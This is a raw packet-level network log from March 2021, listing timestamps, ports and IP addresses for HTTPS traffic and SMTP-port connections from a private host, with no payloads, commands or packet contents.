Mar 3, 2021 07:33:46.887856007 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.888794899 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.888880968 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.888930082 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.891062021 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.891102076 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.891129971 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.891156912 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.891159058 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.891218901 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.892049074 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.892087936 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.892136097 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.893147945 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.893189907 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.893250942 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.896912098 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.896950006 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.897027016 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.920603991 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.920639992 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.920690060 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.920718908 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.920723915 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.920768976 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.921610117 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.921638966 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.921713114 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.924604893 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.924681902 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.924736023 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.925596952 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.925632954 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.925659895 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.925687075 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.925698042 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.925744057 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.925940037 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.925971985 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.926028013 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.928070068 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.928113937 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.928364992 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.929191113 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.929233074 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.929287910 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.929860115 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.929891109 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.929955959 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.931061029 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.931098938 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.931180954 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.931830883 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.931866884 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.931935072 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.932461023 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.932490110 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.932558060 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.933564901 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.933598042 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.933674097 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.936852932 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.936925888 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.937024117 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.937726974 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.937772989 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.937805891 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.937836885 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.937843084 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.937887907 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.938486099 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.938631058 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.938699961 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.939493895 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.939532995 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.939598083 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.940742016 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.940788031 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.940983057 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.941778898 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.941821098 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.941899061 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.942187071 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.942267895 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.942339897 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.943286896 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.943351984 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.943478107 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.944401979 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.944459915 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.944535017 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.959187984 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.959234953 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.959376097 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.959542990 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.959575891 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.959851980 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.960463047 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.960501909 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.960586071 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.963165998 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.963207006 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.963280916 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.964076996 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.964116096 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.964188099 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.964521885 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.964560032 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.964649916 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.965456963 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.965481997 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.965576887 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.966725111 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.966742992 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.966810942 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.967633009 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.967649937 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.967715025 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.968542099 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.968559027 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.968617916 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.969517946 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.969540119 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.969613075 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.970290899 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.970313072 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.970412016 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.970876932 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.970897913 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.970969915 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.972054958 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.972076893 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.972151995 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.975429058 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.975460052 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.975579977 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.976453066 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.976474047 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.976598024 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.976885080 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.976913929 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.976970911 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.977751970 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.977768898 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.977834940 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.978606939 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.978625059 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.978699923 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.979445934 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.979463100 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.979551077 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.980597019 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.980614901 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.980809927 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.980997086 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.981013060 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.981064081 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.982300043 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.982316971 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.982377052 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.982969999 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.982986927 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.983047009 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.000420094 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000452995 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000468016 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000591993 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.000808001 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000825882 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000842094 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.000938892 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.000951052 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.003142118 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:47.003431082 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.003436089 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:47.003449917 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.003462076 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.003528118 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.003617048 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:47.004328012 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:47.005045891 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005073071 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005090952 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005137920 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.005188942 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.005575895 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005599022 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005615950 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.005667925 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.007775068 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.007797956 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.007874012 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.009452105 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.009470940 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.009488106 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.009548903 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.010492086 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.010509014 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.010520935 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.010566950 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.010979891 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.010993004 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.011049032 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.013195992 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.013214111 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.013225079 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.013282061 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.016565084 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.016583920 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.016599894 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.016645908 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.017534018 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.017554045 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.017570019 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.017615080 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.017666101 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.018621922 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.018644094 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.018659115 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.018702984 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.020289898 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.020314932 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.020329952 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.020376921 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.020431042 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.021308899 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.021331072 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.021351099 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.021406889 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.024768114 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024799109 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024816990 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024827003 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.024832010 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024848938 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024864912 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.024864912 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.024910927 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.041609049 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.041634083 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.041650057 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.041702032 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.041742086 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.044044018 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:47.156615019 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:47.267430067 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:47.934185028 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.085438013 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.088845015 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.241885900 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.243057966 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.394371033 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.407233953 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.489186049 CET	49799	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.527764082 CET	80	49799	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.528903961 CET	49799	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.529181957 CET	49799	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.559633970 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.561144114 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.567528009 CET	80	49799	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.568155050 CET	80	49799	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.704812050 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.724400997 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.724643946 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.743231058 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.743637085 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.744203091 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.767548084 CET	49799	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.782582045 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.785831928 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.785860062 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.785881996 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.785917044 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.789346933 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.789402008 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.795813084 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.834290028 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.834443092 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.869045019 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.878544092 CET	587	49798	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:48.878915071 CET	49798	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:48.908243895 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909346104 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909373045 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909421921 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909445047 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909475088 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.909518003 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.909564972 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.910620928 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.910654068 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.910686016 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.911804914 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.911833048 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.911890984 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.912933111 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.912957907 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.913033962 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.913813114 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.913893938 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.913961887 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.914944887 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.914967060 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.915014029 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.915453911 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.915508986 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.915563107 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.916574001 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.916666031 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.916753054 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.917643070 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.917668104 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.917754889 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.921415091 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.921530008 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.921565056 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.921566963 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.921595097 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.921616077 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.921631098 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.921672106 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.921699047 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.922678947 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.922713041 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.922789097 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.923742056 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.923830986 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.947993994 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.948136091 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.948165894 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.948201895 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.949264050 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.949297905 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.949363947 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.950372934 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.950404882 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.950462103 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:48.951462030 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.951493979 CET	443	49805	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:48.951556921 CET	49805	443	192.168.2.4	13.225.80.63
